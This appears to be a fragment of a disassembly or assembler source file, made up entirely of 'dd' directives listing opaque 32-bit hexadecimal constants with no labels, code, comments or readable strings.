		dd 5A008EFEh, 37FB39B1h, 3135B9h, 0D9A56F3Bh, 40F7810Eh
		dd 5978E314h, 0CAE900C8h, 0E85C683Ch, 0FF271390h, 53580EAAh
		dd 0B3FD8460h, 4C7A3489h, 95669B00h, 0EEF12028h, 0EB9707FFh
		dd 0D0B4AB6Bh, 0AEFB1D40h, 67F71F00h, 99A170AAh, 167C82h
		dd 2FCB27Bh, 22E12410h,	0A260E400h, 3E6ED42Bh, 7D0FE54h
		dd 974B3C46h, 4857E0A0h, 0DA005B2Ch, 0CC4E844Dh, 9E5A2Bh
		dd 9925F568h, 0E989E66Eh, 3B8B0802h, 405642C5h,	0FAAAA2h
		dd 0ABE52227h, 5237C10h, 7B8CF00Fh, 0BC1C04Eh, 2E7391BBh
		dd 34E55Fh, 756FF7CEh, 0D700618Bh, 0C8D15D60h, 9D53D3h
		dd 0F52A4A3Dh, 313ADA70h, 0E9AC38h, 41215F5Ah, 723C3FF3h
		dd 877523h, 8CBC72A3h, 8B60986h, 0EED6A600h, 85839575h
		dd 5C0A038Bh, 0BA2346D4h, 0ADCF2780h, 264B5807h, 0B5A0379Ch
		dd 1C0170CEh, 80F30DA8h, 1BDEE6F8h, 2900BED3h, 0B6956AB8h
		dd 7BB90D5h, 363A74E2h,	1514104Dh, 8700A8CDh, 0B5EA4730h
		dd 180F4C8Ah, 183658BCh, 0D600B9C3h, 4E024D88h,	67867Dh
		dd 9F48E6A3h, 8241EDD5h, 441ADA01h, 97AFB07Eh, 58A5C8C3h
		dd 9EA20043h, 0D3522D94h, 0B8007B08h, 4D506859h, 0A0ABE4F0h
		dd 0A866D4h, 478FCD35h,	93E958D5h, 735A0F00h, 536BF998h
		dd 0A880013Eh, 511C717Bh, 0F0F6D888h, 0B81D0300h, 0F4C94CF9h
		dd 6F79CFh, 91A41820h, 2D25ECFBh, 8549501h, 0EF87F2B5h
		dd 59C8A0FBh, 6EB71D5Ch, 5D2480D7h, 0D8B9B158h,	2C043Eh
		dd 73BE1E05h, 396751Dh,	49830871h, 79B00DBBh, 4D018B37h
		dd 0D9052DABh, 3120983Ah, 0FDA83994h, 0D0486300h, 8E886965h
		dd 530083F6h, 68233B59h, 509290h, 604855C5h, 0E8EF8EA3h
		dd 41313D01h, 0CCB1CBEDh, 0AF8570h, 930956B9h, 39DEE835h
		dd 0EF59AA00h, 0B40AA548h, 3B6200C8h, 8FCC1E60h, 1D00C09Dh
		dd 0C7A05798h, 1F06B865h, 40E324D5h, 0AB05260Ch, 2F00C491h
		dd 0D115C5ADh, 0E2BD76h, 20EC4967h, 712DF977h, 19ABD503h
		dd 0A388E98Ah, 0CD18F066h, 7AF0E6Fh, 0B1C0B640h, 55D2AC47h
		dd 30C6A00h, 7BB88587h,	0E409006Eh, 0C67550DEh,	0B9008B2Fh
		dd 0FE1E017Dh, 73EA8C06h, 46D7000Ah, 54CD4D51h,	0EE00892Ah
		dd 5A8496F8h, 78F2E89Dh, 0C9EC00DBh, 9399E62Eh,	142AF68Ch
		dd 7B00A45Fh, 913F02EDh, 190155h, 0D2FF477Fh, 0BF8B6909h
		dd 1D635D07h, 9C835172h, 0E1B0D0D8h, 5F600090h,	47963265h
		dd 0A80017EDh, 0BDF1D5F3h, 32F73D9h, 0B76816E8h, 1D8BE0CDh
		dd 0CCB843C0h, 0B1C32500h, 733ACFCh, 168912B6h,	0F5430161h
		dd 876CC975h, 0E73BAB20h, 152FE03Eh, 0FEFF5Dh, 90F1A27Eh
		dd 8345F976h, 36505B00h, 30EC7531h, 7BF30035h, 6507C406h
		dd 100BC21h, 0AF5E7815h, 48D9F8h, 0C6D3B551h, 4EE09FF6h
		dd 0A03C1AE0h, 795B80F7h, 9585E988h, 477700FEh,	59DD0B70h
		dd 0C80B692Ch, 6405CEh,	512A73B8h, 0B0E907CDh, 901B0414h
		dd 31C2565h, 0D6744B0Bh, 4095D27h, 0F316400h, 50008648h
		dd 0D97644DFh, 0F7B9FFh, 0A782E5D0h, 7AB7BC83h,	0AB019470h
		dd 589D95D3h, 4EE8DB1Bh, 98180FA6h, 47607E1Fh, 7FD5C8C3h
		dd 111E8300h, 0FB488F6Fh, 333A00EBh, 0E29135BFh, 3800B7D5h
		dd 9DC67D08h, 114D2Bh, 0A33ACA12h, 0A7F8E392h, 4E01E8E4h
		dd 0DCAA28B3h, 3E3BB81h, 461E52F8h, 28009F2Ah, 1F619B20h
		dd 7D8AA19h, 6D204B6h, 30F57754h, 0E683E30Ch, 2CDAB03h
		dd 0B0D7F421h, 89716Ah,	0E55FD4Bh, 5FE3FAC9h, 0A19E3600h
		dd 9695B973h, 0CFB6002Eh, 0FE8F1BCAh, 0BD48D330h, 0EEF30E8Ah
		dd 0ED01175Ah, 3C4E6092h, 5E30E0D9h, 407400D5h,	12B0E258h
		dd 9000938Ah, 18CCFA7Ch, 0B50F49h, 0EA17F832h, 4765EBC4h
		dd 0F2DDD700h, 5ADF83CDh, 0E7FC6Eh, 259273FCh, 1DCC9A7h
		dd 0A8F9400h, 0BE33E35Bh, 0FB98008Ch, 0A774BBBAh, 9507B5F3h
		dd 9C3D76AAh, 53CD7E80h, 886600DBh, 3332B18Ch, 0F307E4D0h
		dd 0F4CF40E9h, 48684C0h, 7CA316B2h, 0EB1F0079h,	49900E41h
		dd 82BF5603h, 0D0947D72h, 1E6B135h, 0B89ABCA2h,	301E4752h
		dd 7C00FAD6h, 547BC272h, 82C11Fh, 46521570h, 0D52C3756h
		dd 3F34980Fh, 0C74940B9h, 434ECBh, 0C828AF26h, 7635B00Ah
		dd 8097863Eh, 778FCE6Eh, 72B72196h, 954F1F16h, 0C12A1E8Eh
		dd 29A056CBh, 9032DAh, 8919F327h, 0B5053Ah, 56D03844h
		dd 0D2CE349h, 421AD300h, 1FC799B0h, 93D102C8h, 8EAFC912h
		dd 19CFAFC0h, 28A50126h, 0A9A8000h, 1E96056h, 0F692712Bh
		dd 8331C7A4h, 298A792Eh, 7CD1D1A0h, 17821085h, 6080C085h
		dd 2C584F9Fh, 5151DE5h,	0AA41545Fh, 25356983h, 0E7E4830h
		dd 9ECBB69Ch, 0DA79D0D8h, 0A5071E00h, 0D86B4997h, 883D60D3h
		dd 57DE0C36h, 857D5900h, 6A34829Eh, 80554E65h, 0DEDAB49Dh
		dd 43B01E00h, 2763AA9Dh, 207C01CCh, 22759FDFh, 8EB760BDh
		dd 0AC9ECA05h, 1F80D2C7h, 0F77BE8h, 2FC56675h, 93E3E96Dh
		dd 0E20E5CE4h, 0A067A5A0h, 0F00164F5h, 147135h,	0D8FB87B4h
		dd 0D3BF3C8Ah, 810E0ECEh, 0D7663260h, 0B691080h, 719AE6ACh
		dd 0DF9EC300h, 73C15025h, 0FD910016h, 1BF315FCh, 0B500D7EEh
		dd 6D5DB6A9h, 0A0FBD9h,	669F986Ch, 0E01550EFh, 0DBF4AD03h
		dd 0C0BC7E88h, 7A7A549h, 39B36A46h, 9C7A21h, 0B6536377h
		dd 54031ADDh, 0FAE35550h, 0A0AE97FDh, 0C06DCEDCh, 8D2500CFh
		dd 0F7CCDB21h, 54012392h, 0E328958Ch, 0E7F8125Dh, 5AA50057h
		dd 0AD715F32h, 37FABAD0h, 9D743F00h, 9BAA6F26h,	55700050h
		dd 0FE240AE9h, 5C006AA9h, 3329B844h, 78A85Eh, 0CAB63437h
		dd 13609B5Dh, 368B2814h, 0DE621ED4h, 0BB9A4040h, 1C8DF72Dh
		dd 0EAFAECDh, 338022ACh, 809378C5h, 0BF8FD600h,	8ED961CFh
		dd 5B600F6h, 9F9471FDh,	0A3000B49h, 0A8F39DC5h,	39032C4h
		dd 0FC94E6Ah, 0E4A05CF8h, 0EA03FC1Bh, 44C59CE9h, 0A127A1E5h
		dd 0B8CA65F8h, 8DD20058h, 83629194h, 3D015BCDh,	22AADB5Ah
		dd 63F416EDh, 5BD4CDDh,	8B1A0778h, 0F719929Eh, 89E18EA7h
		dd 0F866E902h, 0F517A377h, 0A800C607h, 884FD4C0h, 0AB841D89h
		dd 0E0C340A9h, 23298174h, 76309472h, 985440EEh,	44911C37h
		dd 0CF1600D5h, 71725635h, 3996848h, 2288D41Ch, 0F971008Dh
		dd 0A9F0DD24h, 2F00D73Ch, 0DCE5BE38h, 37C8ED5Ch, 60295A23h
		dd 6318876Dh, 832B370Bh, 0D0AA807Ch, 0DC4AA8h, 9CC64CBBh
		dd 2CD6AD3Bh, 0F4E6D00h
		dd 97E2FDACh, 0F0CA50AAh, 0D77F1F4Ch, 6B2640AFh, 8AB4533h
		dd 0DCBE9500h, 76DAD907h, 0C1CF00B8h, 16EEEC7Dh, 5F76973Fh
		dd 0AC573800h, 0F265098Fh, 67E71BBh, 849CB35h, 0C848112Eh
		dd 0A28D00FAh, 259F6552h, 80CA3E61h, 0E5FB7B00h, 0B00E5376h
		dd 0BBAEBA1Dh, 0A3174C80h, 0B2BEFFh, 3C1B3D02h,	0D80338C6h
		dd 6D1FFE00h, 0C72DB763h, 967648h, 0C167418Dh, 0A9AD4975h
		dd 0DE9E150Fh, 0FE36A039h, 61514Dh, 487688AFh, 873FF5CAh
		dd 20B90729h, 0C3245660h, 25364480h, 0AE1CDF06h, 1D887950h
		dd 83E9D722h, 0D0CE7407h, 0C0AF57C3h, 0E0FA986Fh, 49768601h
		dd 0A4E1B275h, 0DA194200h, 0D8687003h, 9A9364AEh, 178A609Fh
		dd 0EC9D073Dh, 0E079B56Dh, 579A4104h, 7767120Eh, 27AF8464h
		dd 0C2759E81h, 8C5BC8h,	6EE617EBh, 147895CAh, 28821B30h
		dd 92FAD9h, 96139DDDh, 1AA1D3EFh, 407DA300h, 56648037h
		dd 0D763183Dh, 225C8C7h, 6D3B0400h, 0FFDBE575h,	184C7684h
		dd 0B9C7B6C3h, 9B3EA3E6h, 41D281D0h, 0BE7AEE4Eh, 6080B2E2h
		dd 2B23BCCCh, 41809933h, 80EFC617h, 0CD9DE9A8h,	5457F43h
		dd 890DD8A9h, 7EF040D0h, 0FDC22B2h, 5200BDE8h, 0AF3F569Eh
		dd 14863474h, 0B467E3C2h, 0F2A7C900h, 1EF0D646h, 0B3A0CD00h
		dd 0AC39230Fh, 0F51C0287h, 2420DF91h, 0E0182440h, 5357ED0Ah
		dd 0C75820CFh, 500D43C3h, 0CC003A30h, 17BBA682h, 0A08AB71Dh
		dd 4024CFD0h, 0D951749Fh, 39040C2h, 67058095h, 879E4869h
		dd 0F6B0DC41h, 157049CCh, 1A5E0041h, 0B77517A6h, 0CE00E891h
		dd 2D1804ABh, 1B05670h,	98F9811Fh, 876BEEB3h, 11D57D40h
		dd 0BB0CDCBAh, 4179A6h,	471BA4A5h, 654DF69Eh, 801DED04h
		dd 7080664Eh, 34A8Ah, 5AF33E92h, 5DB9A6E8h, 0D02FC00h
		dd 3A20A4BEh, 9AEA0F7Fh, 31A0D7D5h, 3062D1D9h, 512CAD12h
		dd 4F2D1441h, 45F4576Fh, 0F1FE236h, 0B1AFA865h,	0D5FFCAA0h
		dd 3B1725C3h, 1500EB10h, 0EF589A70h, 0FDB30094h, 309937C4h
		dd 400F333h, 359B036Ch,	6934077h, 2AA13F85h, 0F20168AFh
		dd 0C9ECB3D1h, 9A415412h, 3CDCEDB6h, 5D140077h,	6CCEC3CAh
		dd 6405F259h, 0ADCF01E6h, 0EBFF8400h, 7E5F12Eh,	732D7B92h
		dd 4A06020h, 0F61C5433h, 0C0057B1h, 5F443745h, 0F46A000Bh
		dd 2AE62207h, 5C00201Ah, 32F5B9Ah, 79A716h, 8E6AABA1h
		dd 9B173FAAh, 14306700h, 4E2B98CAh, 63727Ah, 73207DC4h
		dd 5A89C727h, 6A8DB800h, 0F59537C0h, 5F8E3EF8h,	0AC40DE01h
		dd 80BD7DE5h, 53376D30h, 63CA1Dh, 0A9C147A8h, 7F910B97h
		dd 1A3ED601h, 0D8B857BDh, 0A08179D9h, 55205E4Eh, 3612E0FEh
		dd 438C0900h, 70976AB4h, 0CF2800F0h, 0B04AFF4Fh, 5C006DBCh
		dd 9DB6DC1Ch, 0C1243E5Fh, 3D7920B0h, 55509C66h,	0F1D301BBh
		dd 5FE2572Bh, 0FB60ED0h, 17C24529h, 75E3C360h, 8360E61Bh
		dd 0A86C69F0h, 0E55F0379h, 60720A45h, 89028098h, 95BF9A3Bh
		dd 0BC264Ch, 8DA5769h, 1AD53Dh,	0A24F5D3Ah, 1DF3A80Bh
		dd 0B5927E00h, 8DAA4DC8h, 1A9C01EEh, 85CB0A4Eh,	239040D4h
		dd 79C0FF36h, 43DAE9FAh, 0F25A00B0h, 6CA7A6EAh,	2C396591h
		dd 0D87C87ABh, 14C0F5A0h, 0AFA4BCC5h, 6F3D7804h, 37DF5300h
		dd 463851B7h, 1EC100E9h, 4DD9588Bh, 966BD2Eh, 225430h
		dd 27638147h, 1CE0F429h, 36D89007h, 68CA3C84h, 0A560CAD0h
		dd 46636178h, 0C668804Ch, 0D3A0732Ch, 0C08C240Fh, 0A3B60F63h
		dd 0B99F9C01h, 6B0C40DDh, 1B3ED080h, 0DE97109Ah, 8418EF8Ah
		dd 41048377h, 18B02517h, 0D614FC00h, 0A8B38D40h, 0A089120Ch
		dd 0A187FF18h, 24506C30h, 88D3B97Bh, 3CA1C7AAh,	0D7245127h
		dd 4B0C40DAh, 0D2627B2Ch, 11822390h, 38605103h,	0F0C4181h
		dd 2A245E4Fh, 5B0C1841h, 18D12F10h, 6CB650FEh, 8449F107h
		dd 0C4D9FCCCh, 2186E319h, 18412B4Ah, 5308AFF7h,	51130CA9h
		dd 40AA6424h, 758A5F3Ch, 5D5CD271h, 7CEB18B1h, 45FE1818h
		dd 0E7FF6080h, 14D419C4h, 1F922800h, 8891D94Ah,	3BD4683h
		dd 0AE89825h, 0D0530004h, 895D7B4Dh, 0E51CA3E7h, 65C7C441h
		dd 0ADC0A176h, 0B457F4h, 0C61D169Eh, 0B0E0F5E9h, 0E8B66730h
		dd 5097086Bh, 109DB081h, 0F284A7h, 0E58F06E1h, 1D5C8F0h
		dd 0C488AE0h, 0E3091E95h, 43E7A11Dh, 3691BC47h,	2F660068h
		dd 0E5AAFEE2h, 0C746D400h, 0BB0AECC9h, 0FA4D014Ah, 1F0129D2h
		dd 3D89F8C6h, 1CA56DE4h, 0F7C45F42h, 3075C001h,	0CCDDE91Bh
		dd 0ACF6526Ah, 250DBB02h, 80A79605h, 0FB324494h, 2A50FCB0h
		dd 3F8C8B62h, 0EB3C9122h, 80C6279Ch, 0FB31BBA2h, 33148110h
		dd 81C85F3Eh, 0EB72E4ADh, 0A0807EF5h, 1938FF02h, 4E3A8682h
		dd 5729E008h, 14B00AFCh, 345FD62Eh, 5FC0DB27h, 130037A5h
		dd 0E3FAF7CFh, 5C3CF038h, 3B005DA1h, 62DCD68Fh,	0AD005E24h
		dd 69E2FCCBh, 2EBC3793h, 71D6DDAh, 0A0DD6189h, 2059DF8Dh
		dd 39B0490Ah, 4000BF17h, 0B33C0CDEh, 38B007Eh, 0FD569887h
		dd 95FAB0CFh, 0D6665E07h, 405E5961h, 470C8DE4h,	7218C782h
		dd 0B3A9004Fh, 84EF97D0h, 6B91EB80h, 0A714A82Ch, 1FD5B00Ch
		dd 93415840h, 60AC73B3h, 0DFE7D8h, 0BA5E020Eh, 0C417428Ch
		dd 920C5800h, 7F458612h, 0E20001Dh, 0A773B6AAh,	6EECDD62h
		dd 0BC889360h, 6E3A109h, 0AD529739h, 600A16Ah, 4B54298Bh
		dd 1DE2CE0h, 0B23A53A5h, 9F5F26FFh, 62009220h, 8A396A4Dh
		dd 0E20701C9h, 37324EA2h, 0F02D61D9h, 0AE5758B2h, 0F0007B84h
		dd 6F517D72h, 620CD1h, 9F5365F4h, 3B132AE0h, 18665B30h
		dd 3BED386Ah, 0A20069DEh, 0DF93179Ah, 0F100EB23h, 4E90EA78h
		dd 7D73522Ah, 2F560F2Bh, 0B801FAC6h, 0F25D783Bh, 5A632ED0h
		dd 0D8859250h, 390CE1Ah, 3A62A99Ah, 0F10088A5h,	4243C0BCh
		dd 81DEF9h, 0B8DC83AEh,	0A7FA7E07h, 15001490h, 3D45FFCEh
		dd 5AAAE3h, 0F09338EEh,	72A2A388h, 42807B50h, 0D4AE0101h
		dd 5B339C45h, 31020h, 0B4DFD50Ah, 18BF9725h, 71BABD00h
		dd 4D38933Ah, 0A06560C0h, 0CE1362ADh, 0A5A01B00h, 0B244482Ch
		dd 1E5803EBh, 99720823h, 3ED861DBh, 5C002282h, 0A8C3356h
		dd 0A62A5B4h, 75C904C2h, 0A442CC8h, 0C749937h, 0C7B1B408h
		dd 9AE60E02h, 98211174h, 23EFDE30h, 0ED8C7E68h,	0F54861h
		dd 392193CDh, 69B0155Ah, 44004892h, 0C851A86h, 0FA9FE149h
		dd 5E0A00B1h, 7B5AE85Bh, 0A551D437h, 6D4CA8E0h,	540093FCh
		dd 1999C8BBh, 605CD636h, 8F0F7035h, 61039E9Ah, 3C25EAA7h
		dd 42A6D862h, 23361713h, 1BF71C0Eh, 93D051A1h, 0D70A521Eh
		dd 0A07B1CF0h, 66F5AF82h, 0A8144301h, 226833h, 63041260h
		dd 8DB7E2D3h, 72AA542Eh, 0E4006228h, 0AEF487D5h, 95DB07Dh
		dd 9C63E41h, 0A0995020h, 55034C48h, 5D3C7E56h, 73F909B2h
		dd 6E0ADCD3h, 0EA585850h, 0DB1F7507h, 67C6B213h, 6A970191h
		dd 0BE7652D2h, 7D62FCAFh, 16980C07h, 0E28F9A3Fh, 4875B6B8h
		dd 70FC7AD0h, 59C00436h, 0C0E09A4Dh, 3E2F219Ch,	0A0F2BD31h
		dd 6EB73Ah, 584D9848h, 860966A8h, 20A2231Fh, 378DDE90h
		dd 5531DE96h, 9306C86Fh, 98EAC74Eh, 0C118357Dh,	0E8E84976h
		dd 716000DBh, 4C5BE2A2h, 0EA3009A4h, 0D213F88Ah, 0DD920627h
		dd 0A8D920CDh, 7CA6C10Ch, 56B209Ah, 0FAA4C77Ah,	418400DBh
		dd 11905BC9h, 0DEAC875Bh, 0EEC11877h, 7144314Bh, 2D127000h
		dd 61FBC35Dh, 6A9C245Fh
		dd 863D8434h, 75A20099h, 0E0D29DEh, 81EE67B8h, 4522D0F8h
		dd 0F6B97700h, 357ED326h, 6CC130C4h, 4A096440h,	75C8ED18h
		dd 34C2B111h, 489B584h,	31729808h, 0DF163B9h, 7334C8EFh
		dd 2E1761Fh, 3E3DE0ABh,	0A0A0BE7Eh, 4BAE0BFAh, 0CA476C00h
		dd 4C1DC440h, 9DE10014h, 5C45997Dh, 0E505080Ch,	5879E038h
		dd 0E2DD845h, 3BEF0400h, 4D5623B9h, 24007C5Fh, 0D51F4754h
		dd 0E809B14Eh, 81779921h, 0EC2D4368h, 819CB8E1h, 0A3744337h
		dd 48D82694h, 0EA241EB6h, 71AC7CE9h, 0BAD34D00h, 57C012h
		dd 0D9CA2ED6h, 0A39C6EC3h, 0C420BC49h, 0C8109B42h, 43A9E609h
		dd 0AF980400h, 0A0A86310h, 9C01FA31h, 2B7F82AEh, 30DC78D2h
		dd 0B8D0A36Dh, 1C9B3A43h, 810C5D5Ch, 0E087934h,	80E7E98Eh
		dd 5A13CA51h, 3D940A5h,	0D3CB2347h, 10769093h, 410E2B01h
		dd 3308BC34h, 3048C5D1h, 68844D43h, 0E48242Ah, 36EED7D0h
		dd 2CA97C8Eh, 309FB906h, 30BD6601h, 0A34E4F12h,	965A9842h
		dd 20486C0h, 3E9FD949h,	484008CEh, 4B9827C0h, 128FD49h
		dd 123411ACh, 3C60F7E3h, 729A04C2h, 807D67B9h, 53EB0D20h
		dd 3F9F7500h, 77D0CC92h, 0DFFB00F2h, 4474853Bh,	0A9002896h
		dd 8478E103h, 73B11B10h, 0A1544CF5h, 34C03445h,	0CF50103Bh
		dd 219DC99Ah, 0A4C3E6B8h, 376030h, 45A5C7DCh, 3F72A77Dh
		dd 3B36D900h, 0CD9FFE0Ah, 9B120927h, 9B0323F5h,	36E02441h
		dd 9B85846h, 0E67C7098h, 49D0F207h, 9593C90Fh, 0D8FF9A3h
		dd 626060h, 0C6A0F97Ch,	8734FF6Fh, 0A535FE00h, 3D1284B5h
		dd 0D4F60018h, 90B2DEE4h, 3613B8D0h, 6040790Dh,	0AE6D420Ch
		dd 9360B7F2h, 0E4002C37h, 0D4095CEBh, 5F8C7Ah, 65F7A19Dh
		dd 0D39F776Bh, 5AB90D00h, 228FB3C9h, 2A6100E8h,	3C93BCADh
		dd 0AF038791h, 0F813BE0Bh, 9004B078h, 478038EFh, 592007Eh
		dd 3F36DE30h, 0FC009339h, 2297487Dh, 9E8BF8h, 75117A25h
		dd 5E6D8A1h, 6826BD03h,	0A049C2B8h, 0F1096Bh, 3E610486h
		dd 0FC4ECF2Eh, 65750600h, 0D5E1B995h, 7C26980Fh, 59EE008Ch
		dd 4B5E8AACh, 802C66F7h, 9A009CCAh, 0BEBD0173h,	0D5095067h
		dd 59040046h, 32D0EF45h, 50EC0802h, 13613CA9h, 0B03FB8BBh
		dd 0E1420076h, 0FDEEB31h, 0AF00BCB3h, 21285B89h, 30A82A7h
		dd 6C885212h, 61981118h, 350359B7h, 78C8495Dh, 62B05876h
		dd 543FA74h, 257A2B72h,	0A88486A8h, 0C290F700h,	84B92CEh
		dd 0F127003Bh, 4D1346BDh, 0E0015960h, 0EA7930E3h, 6FD00966h
		dd 9B6B003Bh, 6C182AAEh, 0BC00ACAFh, 0E5EF6233h, 0FAF18503h
		dd 48C0055h, 12E1E305h,	530079CEh, 29D70F70h, 5ACE2FBh
		dd 46BA7A28h, 0E1440021h, 0B3928FC2h, 0CB000D43h, 1759674Eh
		dd 5C0997E8h, 0B27C54h,	0E802F2Ah, 0E015008Fh, 0DB2DC16Dh
		dd 17003B04h, 6AE6E49h,	638C51h, 5759A9FFh, 0B42BE1BEh
		dd 549AEA00h, 61FC0BFEh, 2C1F0005h, 0F6AD52E2h,	9F01107Bh
		dd 4445D1DDh, 0A040653Fh, 0A24F09Ah, 25A7078Dh,	0C2DB0E58h
		dd 0D7E393E0h, 0AC882BC1h, 59AA003Dh, 994B3971h, 340E23AFh
		dd 0C0D84465h, 942E1121h, 57C905B1h, 2F2B5F04h,	0F82384h
		dd 0A5B58525h, 23FC3C63h, 5BD77002h, 40054294h,	84720h
		dd 0D9B2B0C0h, 0FFC4533Ch, 2582648h, 0E5E7EB79h, 21544810h
		dd 0DF0B0069h, 0B1D22ED7h, 451FBD18h, 0AC80AF76h, 3D37BC81h
		dd 1DF40183h, 60AA9712h, 435E4CEh, 0D9A1F500h, 63341E0Eh
		dd 902766Fh, 53E31D45h,	4D246420h, 9D30A640h, 0D381E031h
		dd 0B8375059h, 0CF830027h, 0A9245E57h, 0E307F879h, 541C989Dh
		dd 91F54E20h, 5A5C44F2h, 16D4F00h, 0CC346B1h, 5BC538C7h
		dd 0B744A18Eh, 0DF622140h, 0D402D3FBh, 4005F699h, 4D544035h
		dd 68CA60B1h, 28233960h, 2712DB00h, 0F52D3F41h,	24B40343h
		dd 6B3EC85Bh, 221367B1h, 4CDC506Ch, 0C1D921h, 82CA6B6h
		dd 448653D5h, 0BA0195CAh, 3EDC633Ch, 50DD149Dh,	201C1BCh
		dd 7BFC4427h, 7AC74198h, 0C426B1h, 45024B54h, 0E7D4A32Bh
		dd 2848DD12h, 0C301366Ch, 91997628h, 1261275Eh,	0D242C007h
		dd 4FFCA031h, 0DDD68426h, 42931F18h, 62E1C4C1h,	48CB3440h
		dd 9A012042h, 0FB46344Ah, 2460233Fh, 80BF34A9h,	5EFDC2E5h
		dd 1DF33C90h, 0C38145C6h, 0B4B2EC97h, 0F9666130h, 578D29CAh
		dd 0E0C83016h, 0DEA0D0C7h, 1862A855h, 51657C95h, 4A4848EBh
		dd 7EA902EDh, 48BEDD80h, 2434B658h, 11C871E2h, 85C6802Ah
		dd 0FB1B95C0h, 6E685Ch,	21C884EEh, 0FC7FD68Ah, 0EBEADD07h
		dd 41DE0C92h, 49E0EFAFh, 508365E1h, 33392F56h, 4F28E3F8h
		dd 3E354Ch, 0FC4282B9h,	3A71AF13h, 4400B572h, 2331AB38h
		dd 85001F3Ch, 338646CFh, 3B7687D4h, 78482EA4h, 91134C00h
		dd 0C795D917h, 0BDA8206h, 0B0D9F43Bh, 18DC00D7h, 219FC6D7h
		dd 0E5004A94h, 4BD88DC3h, 50C59086h, 99CBCBBh, 23BD67C9h
		dd 0EB6FAC80h, 0AF730D0Eh, 1FD7B02h, 48030CD5h,	8002F1C4h
		dd 0E22404D8h, 0B4606469h, 210593D5h, 659124A5h, 3F4BF701h
		dd 0D437A14Ah, 0FD00E531h, 9E1B6EEh, 1275108Eh,	7B42981h
		dd 808803ACh, 0A008AB5Ch, 0D1E0B600h, 0DD04B8F7h, 1C25025Fh
		dd 8D5213CEh, 9DAFC460h, 0C426E300h, 0D0033C3Dh, 70B00224h
		dd 0F6522DDCh, 0C43F54C4h, 6F3700CBh, 0C78D0495h, 9067EE35h
		dd 60A67EE4h, 0C63BA806h, 964A6B84h, 0E641F3A0h, 873500DAh
		dd 49E31916h, 0B000F4EAh, 5108BED9h, 0B1FC8162h, 36CF0008h
		dd 6EA8AE9Eh, 20110522h, 0BF01CA4Dh, 36292BB0h,	0DDCC438Eh
		dd 2356003Ah, 8B4426A4h, 24263549h, 400262Bh, 1AE73D0Fh
		dd 9E9226B5h, 7ED40C4h,	0C890D5B0h, 67111E0Bh, 0B58800EFh
		dd 138299Fh, 0E1FAA010h, 0D8830971h, 5E0952D1h,	8097F1E5h
		dd 0FC2F1BBCh, 5CF43A9Ah, 1F80FE3Ch, 937B5E59h,	2379B686h
		dd 9E516900h, 0DB6E33CCh, 0ACB00729h, 8A4DD9A7h, 6AA88098h
		dd 0BA84710Ah, 6B074E00h, 0BE590F37h, 3C1D1C3Dh, 7BA64158h
		dd 0D4E73839h, 760047D4h, 4FAE2DE3h, 0F6B5DA42h, 16CE0695h
		dd 20F004BEh, 0D912C300h, 0C65D8E1Ch, 559D02DFh, 57D7A04Fh
		dd 23E2E980h, 1502EC09h, 0A35DEA89h, 3388808Ch,	45E737h
		dd 3438869h, 11832FFBh,	5E002BB0h, 0BF1FA9C1h, 2C32E370h
		dd 3D6C3715h, 3D00EE58h, 0F4017ED2h, 0E30EBCA8h, 0E0362705h
		dd 0ADBE03FEh, 0DD8D006Dh, 6EFF9F3Bh, 7B75BA35h, 5E32401Fh
		dd 0E9012CA9h, 0BA0CEF34h, 0AB4118E6h, 80D23181h, 6BC6B58Ah
		dd 736C006Fh, 0E9C3934Fh, 601FEB52h, 0ABC71845h, 2637A442h
		dd 0D2E3A930h, 284B0ECDh, 0DA67C458h, 0D3E1D3B1h, 40A42DA1h
		dd 4060F8B0h, 73991D00h, 67E053A9h, 0EF5419A6h,	0DCC620A7h
		dd 28A87668h, 0B87944F2h, 91E56621h, 64190049h,	0B5762C40h
		dd 0DC30004Bh, 0AB1575F5h, 8F06F017h, 49AE1A43h, 0C951A0D9h
		dd 402800D9h, 0D40F5B07h, 2B3013A9h, 0E4E719Eh,	0D640216h
		dd 0C19A0196h, 7F7637E0h, 0E1C6950Fh, 14641E59h, 83A86D94h
		dd 98B322D3h, 5A94351h,	39DCC20Ah, 70B83FAEh, 0A2B26800h
		dd 0BD172FAh, 0D8702EC2h, 8FA607A4h, 9980BFF7h,	0B045DC9Ch
		dd 0BF7E1E00h, 0FAD551C1h, 0FE4300C6h, 0CD69CF7Fh, 9A00CB86h
		dd 0FD1CCC20h, 0B11695h, 0DF2A01A1h, 86B33B6Ch,	0CCD1E200h
		dd 0AAB04952h, 0CE0800C1h, 66773C91h, 0B3EC307h, 3A7B8065h
		dd 13943D2Bh, 1C8139E6h
		dd 0D8495180h, 0F47EBEA4h, 0C1C95000h, 0FE6FED02h, 96CA00A6h
		dd 44979215h, 370066D1h, 51E1F680h, 2E349Ch, 7DCB4781h
		dd 0CC8FF74Dh, 0E7D33E00h, 0B7A129ECh, 0E31400B5h, 0AEC0FB33h
		dd 0E5007522h, 47041B01h, 0B3A41Fh, 5F8657C5h, 8C25F66Ch
		dd 0F37D5600h, 321875B9h, 7AC171D5h, 0CC25B857h, 2BA09F69h
		dd 0A8A9000h, 5DFE9C8Fh, 846F0116h, 582FEC59h, 0A8DA30B4h
		dd 20CF3Ch, 6864CBF2h, 0FEF1B9h, 168E823Fh, 66023995h
		dd 800A8D3Eh, 0BD1D842Ah, 0B10BD5h, 3C73CD8Eh, 0DFA83A4Ah
		dd 24202D00h, 0EFCA4570h, 57AC8h, 5222A7DAh, 87CCCDD5h
		dd 0E7D71300h, 0F30F51FCh, 0E2650086h, 1BEBF9F4h, 0BB00DE15h
		dd 842B20C4h, 0E03DFBFFh, 8FA8A0A2h, 0BF8070Eh,	30648098h
		dd 323B28CCh, 8C89AE28h, 5EFEBA07h, 0B55674EAh,	0C65902FCh
		dd 859955EFh, 1881D760h, 7253B00h, 638820A6h, 37031558h
		dd 65009492h, 0ED478CDFh, 51008AF7h, 0C817FFF4h, 399B7A34h
		dd 0DF00503Ch, 0A1537079h, 0D24E382Dh, 2F1C2F0h, 0F446AA48h
		dd 84808A14h, 0CCD46116h, 5380A8ADh, 51D4F47Ah,	60810378h
		dd 0FC6712C9h, 58B20C90h, 0DFFB3A09h, 0A1042CE3h, 0AFCC0396h
		dd 0C18605F5h, 33F955CBh, 20CC4607h, 393F3CEAh,	62E80FBh
		dd 0AE319D49h, 9CA40Dh,	30DAE627h, 0EA8429CFh, 6E090A01h
		dd 6522AF40h, 0CA581822h, 0B3879E0Ah, 602300A4h, 0D235FF8Dh
		dd 0FB27A828h, 0C4032D2Ah, 469C9D00h, 8AD0EFE5h, 0BAF80792h
